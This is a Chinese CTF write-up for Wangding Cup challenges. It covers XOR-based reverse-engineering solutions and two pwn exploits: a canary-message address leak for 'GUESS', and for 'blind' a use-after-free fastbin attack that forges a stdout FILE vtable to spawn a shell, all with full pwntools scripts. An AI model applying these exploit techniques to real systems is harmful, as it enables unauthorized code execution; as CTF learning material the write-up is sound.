网鼎杯-教育

beijing
这里写图片描述
这里可以发现有flag的影子,但是异或之后就没有影子了,获取flag其实就是把异或的部分去掉。

这里写图片描述
这里就是算法了。
别人写的比较好,用别人的吧。

#include
using namespace std;
unsigned int byte_804A020[28] = {
    0x61, 0x4C, 0x67, 0x59, 0x69, 0x29, 0x6E, 0x42, 0x62, 0x0D, 0x65, 0x71, 0x66, 0x34, 0x6A, 0xC6, 
    0x6D, 0x8A, 0x6C, 0x7F, 0x7B, 0xAE, 0x7A, 0x92, 0x7D, 0xEC, 0x5F, 0x57
};
char chr_change(char temp)
{
  char chr_re;
  switch(temp)
  {
    case 0:
      chr_re=(char)byte_804A020[0];
      break;
    case 1:
      chr_re=(char)byte_804A020[2];
      break;
    case 2:
      chr_re=(char)byte_804A020[4];
      break;
    case 3:
      chr_re=(char)byte_804A020[6];
      break;
    case 4:
      chr_re=(char)byte_804A020[8];
      break;
    case 5:
      chr_re=(char)byte_804A020[10];
      break;
    case 6:
      chr_re=(char)byte_804A020[12];
      break;
    case 7:
      chr_re=(char)byte_804A020[14];
      break;
    case 8:
      chr_re=(char)byte_804A020[16];
      break;
    case 9:
      chr_re=(char)byte_804A020[18];
      break;
    case 10:
      chr_re=(char)byte_804A020[20];
      break;
    case 11:
      chr_re=(char)byte_804A020[22];
      break;
    case 12:
      chr_re=(char)byte_804A020[24];
      break;
    case 13:
      chr_re=(char)byte_804A020[26];
      break;
    default:
      chr_re=0;
      break;
  }
  cout<<chr_re;
  return chr_re;
}
int main()
{
    int t[25]={0x06,0x09,0x00,0x01,0x0A,0x00,0x08,0x00,0x0B,0x02,0x03,0x01,0x0D,0x04,0x05,0x02,0x07,0x02,0x03,0x01,0x0c};
    for(int i=0;i<21;i++)
        chr_change(t[i]);
    return 0;
}

那一串数据也能得到(有三个字节是在bss段,其实是0)

a1=[ 0x61, 0x4C, 0x67, 0x59, 0x69, 0x29, 0x6E, 0x42, 0x62, 0x0D,
  0x65, 0x71, 0x66, 0x34, 0x6A, 0xC6, 0x6D, 0x8A, 0x6C, 0x7F,
  0x7B, 0xAE, 0x7A, 0x92, 0x7D, 0xEC, 0x5F, 0x57]
b=[]
key=[0x52 ,0x13 ,0x2D ,0x3E ,0xD5 ,0x2D ,0xE7 ,0x2D ,0xE8 ,0x40 ,0x2C ,0x3E ,0x08 ,0x6F ,0x14 ,0x40
     ,0xAC ,0x40 ,0x2C ,0x3E ,0x91 ,0x0A]
print key,
print len(key)
for i in range(len(a1)/2):
    b.append(chr((a1[2*i]^a1[2*i+1])&0xff))
print len(b)


for i in range(len(key)):
    for j in range(len(b)):
        if key[i]==ord(b[j]):
            print j,

总结:注意题目中出现的数字,变成字符之后会有意外收获呢。


advance
运行之后输出了

➜  advanced ./src
welcome, here is your identification, please keep it in your pocket: 4b404c4b5648725b445845734c735949405c414d5949725c45495a51

这个字符串可能有意义。
用ida打开之后发现函数贼多,没办法,只能祈祷简单一点,测试吧。
libnum库了解一下https://www.cnblogs.com/pcat/p/7225782.html

>>> import libnum
>>> s=0x4b404c4b5648725b445845734c735949405c414d5949725c45495a51
>>> print libnum.n2s(s)
K@LKVHr[DXEsLsYI@\AMYIr\EIZQ

转成字符是乱码,但是能转成字符,简单异或一下试试。

>>> ord('f')^0x4b
45
>>> ord('l')^0x40
44
>>> ord('a')^0x4c
45
>>> ord('g')^0x4b
44

是他们兄弟俩异或得来的。
用别人一段脚本。

s='K@LKVHr[DXEsLsYI@\\AMYIr\\EIZQ'
flag=""
for i in range(len(s)):
    if i%2==0:
        flag+=chr(ord(s[i])^45)
    else:
        flag+=chr(ord(s[i])^44)
print flag

flag{d_with_a_template_phew}

总结:复杂的题往往可以简单化,之一flag的作用,可以尝试异或一下。


pwn1(GUESS)
开启了NX保护和stack。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch]
  int v5; // [rsp+1Ch] [rbp-84h]
  __int64 v6; // [rsp+20h] [rbp-80h]
  __int64 v7; // [rsp+28h] [rbp-78h]
  char buf; // [rsp+30h] [rbp-70h]
  char s2; // [rsp+60h] [rbp-40h]
  unsigned __int64 v10; // [rsp+98h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  v7 = 3LL;
  LODWORD(stat_loc.__uptr) = 0;
  v6 = 0LL;
  sub_4009A6();
  HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2);
  if ( HIDWORD(stat_loc.__iptr) == -1 )
  {
    perror("./flag.txt");
    _exit(-1);
  }
  read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL);
  close(SHIDWORD(stat_loc.__iptr));
  puts("This is GUESS FLAG CHALLENGE!");
  while ( 1 )
  {
    if ( v6 >= v7 )
    {
      puts("you have no sense... bye :-) ");
      return 0LL;
    }
    v5 = sub_400A11();
    if ( !v5 )
      break;
    ++v6;
    wait((__WAIT_STATUS)&stat_loc);
  }
  puts("Please type your guessing flag");
  gets(&s2);
  if ( !strcmp(&buf, &s2) )
    puts("You must have great six sense!!!! :-o ");
  else
    puts("You should take more effort to get six sence, and one more challenge!!");
  return 0LL;
}

需要知道关于fork函数和canary保护。

fork函数是复制,创建一个子进程,子进程会复制父进程的所有信息。但是子进程你是个单独的进程,不会影响到父进程。

stack保护:就是在栈里面放一个canary如果canary被改变程序会退出,并且打印出

*** stack smashing detected ***: 

加可执行文件(路径加)名字效果如图(只是适合ubuntu16到ubuntu18不会输出)

这里写图片描述

思路:三次leak。

1.泄露got表值,获取到libc库的加载地址

2.计算出environ的指针,泄露出environ的地址(也就是栈的地址)。

3.复写为flag内容的地址get flag。

刚好三次fork

from pwn import *
context.log_level="debug"

p=process("./guess")
elf=ELF("./guess")  
libc=ELF("libc.so.6")

p.recvuntil("Please type your guessing flag\n")
payload='A'*0x128+p64(elf.got["read"])
p.sendline(payload)
print p.recvuntil("***: ")
read_addr=u64(p.recv(6).ljust(8,'\x00'))
print "read_addr="+hex(read_addr)


p.recvuntil("Please type your guessing flag\n")
environ_pointer=read_addr-libc.symbols["read"]+libc.symbols["__environ"]
payload='A'*0x128+p64(environ_pointer)
p.sendline(payload)
print p.recvuntil("***: ")
environ_addr=u64(p.recv(6).ljust(8,'\x00'))
print "environ_pointer="+hex(environ_pointer)
print "environ_addr="+hex(environ_addr)


gdb.attach(p)
raw_input()
p.recvuntil("Please type your guessing flag\n")
payload='A'*0x128+p64(environ_addr-0x168)
p.sendline(payload)
print p.recvuntil("***: ")
print p.recvall()

第三次的fork设置为

这里写图片描述
需要关注的是

07:00380x7ffc392a7ea0 ◂— 'qwertyuiop\n'

这里是读取出来的flag.txt文件的内容。

32:0190│        0x7ffc392a7ff8 —▸ 0x7ffc392aa1de ◂— 0x73736575672f2e /* './guess' */

这里是输出的内容。

34:01a0│        0x7ffc392a8008 —▸ 0x7ffc392aa1e6 ◂— 0x52454d554e5f434c ('LC_NUMER')

这里是环境变量environ的内容。可以得出来栈地址的偏移。

>>> hex(0x7ffc392a8008-0x7ffc392a7ea0)
'0x168'

输入数据的指针和0x7ffc392a7ff8的差是需要填充的数据。


blind

程序提供了new,change,release操作,没有任何输出。

[*] '/home/liu/1t/u18/\xe6\x96\x87\xe6\xa1\xa3/\xe7\xbd\x91\xe9\xbc\x8e\xe6\x9d\xaf/blind/blind'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

开启了RELRO保护,不和复写got表,这意味着不能泄露出任何地址。

程序给出了system(“/bin/sh”)函数,漏洞也很明显,delete只是把内存空间free,并没有把ptr指针清空,存在uaf漏洞,可以用fastbin attach。

pwndbg> x /10xg 0x602020
0x602020 <stdout>:   __xsputn = 0x7fa37e5e81e0 <_IO_new_file_xsputn>    0x0000000000000000
0x602030 <stdin>:   0x00007fd3067d88e0  0x0000000000000000
0x602040 <stderr>:  0x00007fd3067d9540  0x0000000000000000
0x602050:   0x0000000000000000  0x0000000000000000
0x602060:   0x00000000021d4010  0x00000000021d4080

这里高地址处是0x7f,题目中申请的空间是0x68可以申请到。这里的stdout结构指针在bss段,为我们下面伪造FILE结构创造了条件。

size_addr=0x60201d
new(0,"A"*0x50)
new(1,"B"*0x50)
release(1)
release(0)
change(0,p64(size_addr))

new(2,"C"*0x20)
new(3,"D"*0x20) #####get bss

接下来伪造IO_2_1_stdout结构
原结构是:

pwndbg> print stdout
$1 = (struct _IO_FILE *) 0x7fa37e934620 <_IO_2_1_stdout_>

pwndbg> print _IO_2_1_stdout_
$2 = {
  file = {
    _flags = 0xfbad2887, 
    _IO_read_ptr = 0x7fa37e9346a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_read_end = 0x7fa37e9346a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_read_base = 0x7fa37e9346a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_base = 0x7fa37e9346a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_ptr = 0x7fa37e9346a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_end = 0x7fa37e9346a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_buf_base = 0x7fa37e9346a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_buf_end = 0x7fa37e9346a4 <_IO_2_1_stdout_+132> "", 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x7fa37e9338e0 <_IO_2_1_stdin_>, 
    _fileno = 0x1, 
    _flags2 = 0x0, 
    _old_offset = 0xffffffffffffffff, 
    _cur_column = 0x0, 
    _vtable_offset = 0x0, 
    _shortbuf = "\n", 
    _lock = 0x7fa37e935780 <_IO_stdfile_1_lock>, 
    _offset = 0xffffffffffffffff, 
    _codecvt = 0x0, 
    _wide_data = 0x7fa37e9337a0 <_IO_wide_data_1>, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0x0, 
    _mode = 0xffffffff, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = 0x7fa37e9326e0 <_IO_file_jumps>
}

目的是伪造一个结构,其他地方都差不多,只有vtable = 0x7fa37e9326e0 <_IO_file_jumps>结构设置成我们字节的结构。

pwndbg> print _IO_file_jumps
$3 = {
  __dummy = 0x0, 
  __dummy2 = 0x0, 
  __finish = 0x7fa37e5e89c0 <_IO_new_file_finish>, 
  __overflow = 0x7fa37e5e9730 <_IO_new_file_overflow>, 
  __underflow = 0x7fa37e5e94a0 <_IO_new_file_underflow>, 
  __uflow = 0x7fa37e5ea600 <__GI__IO_default_uflow>, 
  __pbackfail = 0x7fa37e5eb980 <__GI__IO_default_pbackfail>, 
  __xsputn = 0x7fa37e5e81e0 <_IO_new_file_xsputn>, 
  __xsgetn = 0x7fa37e5e7ec0 <__GI__IO_file_xsgetn>, 
  __seekoff = 0x7fa37e5e74c0 <_IO_new_file_seekoff>, 
  __seekpos = 0x7fa37e5eaa00 <_IO_default_seekpos>, 
  __setbuf = 0x7fa37e5e7430 <_IO_new_file_setbuf>, 
  __sync = 0x7fa37e5e7370 <_IO_new_file_sync>, 
  __doallocate = 0x7fa37e5dc180 <__GI__IO_file_doallocate>, 
  __read = 0x7fa37e5e81a0 <__GI__IO_file_read>, 
  __write = 0x7fa37e5e7b70 <_IO_new_file_write>, 
  __seek = 0x7fa37e5e7970 <__GI__IO_file_seek>, 
  __close = 0x7fa37e5e7340 <__GI__IO_file_close>, 
  __stat = 0x7fa37e5e7b60 <__GI__IO_file_stat>, 
  __showmanyc = 0x7fa37e5ebaf0 <_IO_default_showmanyc>, 
  __imbue = 0x7fa37e5ebb00 <_IO_default_imbue>
}

伪造vtable里面的__xsputn = 0x7fa37e5e81e0 <_IO_new_file_xsputn>设置成system的地址当程序调用put函数就能劫持程序执行流。

首先需要注意的是flag,这里需要绕过一些检测,要满足
flag&8 = 0 and flag &2 =0 and flag & 0x8000 != 0

(64位flag对应8的位置为0,对应的2的位置为0,对应的0x8000的位置为1)
这里取flag=0xfbad8000

其他基本上从原本的FILE结构里面摘出来即可。

from pwn import *
context.log_level = 'debug'
p = process('./blind')
system_addr = 0x00000000004008E3

def new(index,content):
    p.recvuntil('Choice:')
    p.sendline('1')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Content:')
    p.sendline(content)

def change(index,content):
    p.recvuntil('Choice:')
    p.sendline('2')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Content:')
    p.sendline(content)

def release(index):
    p.recvuntil('Choice:')
    p.sendline('3')
    p.recvuntil('Index:')
    p.sendline(str(index))


size_addr=0x60201d
new(0,"A"*0x50)
new(1,"B"*0x50)
release(1)
release(0)
change(0,p64(size_addr))

new(2,"C"*0x20)
payload="A"*3+p64(0)*6+p64(0x602020)+p64(0x6020a0)#fake_file start in address 0x6020a0
payload+=p64(0x6020a0+0x68)+p64(0x6020a0+0x68*2)
new(3,payload) #####get bss



flag=0xfbad8000
payload=p64(flag)+p64(0x602060)*7+p64(0x602061)+p64(0)*3
change(1,payload)

payload=p64(0x602060)+p64(1)+p64(0xffffffffffffffff)+p64(0x0000000000000000)+p64(0x602060)+p64(0xffffffffffffffff)+p64(0)+p64(0x602060)+p64(0)*3+p64(0x00000000ffffffff)
change(2,payload)

payload=p64(0)+p64(0x602180)+p64(0)*7+p64(system_addr)
change(3,payload)
gdb.attach(p)
change(0,p64(0x6020a0))

p.interactive()

联系:[email protected]

猜你喜欢

转载自blog.csdn.net/qq_38204481/article/details/82318179